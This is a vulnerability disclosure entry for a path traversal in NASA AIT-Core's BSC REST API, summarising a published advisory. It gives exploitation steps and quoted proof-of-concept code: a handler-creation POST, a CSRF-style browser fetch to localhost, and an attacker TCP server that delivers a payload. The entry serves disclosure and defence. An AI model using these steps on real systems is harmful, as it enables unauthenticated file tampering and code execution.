# NASA AMMOS Instrument Toolkit: Path traversal resulting in arbitrary file append (can be triggered over the network by unauthenticated attacker)

Unauthenticated BSC REST endpoint trusts `path`/`log_dir_path` form fields, letting remote or browser-driven attackers append attacker-controlled packet data to arbitrary filesystem paths.

- Payout: Research
- Severity: critical
- Program: NASA AIT-Core
- Found by: ehtec
- Disclosed: 2026-06-05
- CVE: CVE-2026-47731
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p462-prxw-mjx4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p462-prxw-mjx4
- Tags: area:web domain:api domain:web impact:dos impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:misconfiguration vuln:path-traversal

**Target:** ait-bsc HTTP REST API (/<name>/start) and PCAP log writer
**Root cause:** `_add_logger_by_name` passes all form fields as `**data` into `add_logger`, which accepts `log_dir_path` and `path` without confinement; `_get_log_file` uses `os.path.join` so absolute `path` discards the root and `..` escapes it, with no realpath/prefix check before `pcap.open(..., mode='a')`.
**Steps:**
1. POST to `http://127.0.0.1:8080/<name>/start` with form fields `loc=`, `port=9999`, `conn_type=udp`, `path=/home/elias/ait-venv/lib/python3.10/site-packages/ait/core/`, `file_name_pattern=dmc.py`.
2. Server binds UDP 9999 and opens the target file in append-binary mode, creating parent dirs via `os.makedirs` if missing.
3. Send a UDP datagram to port 9999 containing the payload bytes; `capture_packet` writes `socket.recv` data through `PCapStream.write` into the file.
4. Optionally time the send so `ts_sec & 0xFF == 0` to make the first PCAP header byte 0x00, easing payload alignment.
5. DELETE `/<name>/stop` to clean up the handler.
**How found:** Code review of the BSC REST handler showed every form field except `loc`/`port`/`conn_type` flows into `add_logger(**data)`, and `_get_log_file` joins `handler['path']` with `os.path.join` without realpath or prefix enforcement — the classic absolute-path/`..` escape pattern.
**Exploitation:** Unauthenticated attacker POSTs to the BSC REST API with an absolute `path` (or `log_dir_path`) pointing at any writable file, then delivers payload bytes either directly over UDP to the bound port or via TCP by pointing `loc`/`port` at an attacker-controlled server that sends the payload on connect. The browser variant uses `fetch` with `mode:'no-cors'` from a malicious page to reach `127.0.0.1:8080` and pivot into the victim's local network. Result: arbitrary file append with ait-bsc privileges, enabling data corruption, disk exhaustion (TCP handler loop bug), and potential RCE if a writable script is later executed.
**Escalation:** Chaining the file-append primitive to corrupt AIT-Core Python source (e.g. `dmc.py`) so the server crashes or executes attacker-influenced code on restart; browser-based CSRF-style delivery extends reach to localhost-only deployments.
**Insight:** When a REST handler does `**data` into a config dict, enumerate every downstream consumer of those keys; any `os.path.join(root, user_value)` where user_value can be absolute silently discards the root on POSIX — grep for `os.path.join` with request-derived components and check for a post-join realpath prefix assertion.

## Proof of concept (copied exactly from the original report)

**UDP handler creation with absolute path traversal**

```
data = {
        "loc": "",                  # bind on all interfaces
        "port": str(UDP_PORT),
        "conn_type": CONN_TYPE,
        "path": TARGET_DIR,         # ABSOLUTE path outside /tmp
        "file_name_pattern": TARGET_FILE,
    }
    url = f"{BSC_BASE_URL}/{HANDLER_NAME}/start"
    print(f"[+] Creating UDP handler via POST {url}")
    resp = requests.post(url, data=data)
```

**Browser fetch POST to BSC start endpoint**

```
const params = new URLSearchParams();
    params.set("loc", ATTACKER_HOST);
    params.set("port", String(ATTACKER_PORT));
    params.set("conn_type", "tcp");
    params.set("path", TARGET_DIR);
    params.set("file_name_pattern", TARGET_FILE);

    fetch(`${BSC_URL}/${HANDLER_NAME}/start`, {
      method: "POST",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      body: params.toString(),
      mode: "no-cors"  // we don't care about reading the response
```

**Attacker TCP server sending payload to BSC**

```
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((HOST, PORT))
        srv.listen(1)

        print("[*] Waiting for connection from ait-bsc...")
        bsc_sock, bsc_addr = srv.accept()
        print(f"[+] Got connection from ait-bsc at {bsc_addr}")

        with bsc_sock:
            print("[+] Sending payload to ait-bsc...")
            bsc_sock.sendall(PAYLOAD)
```

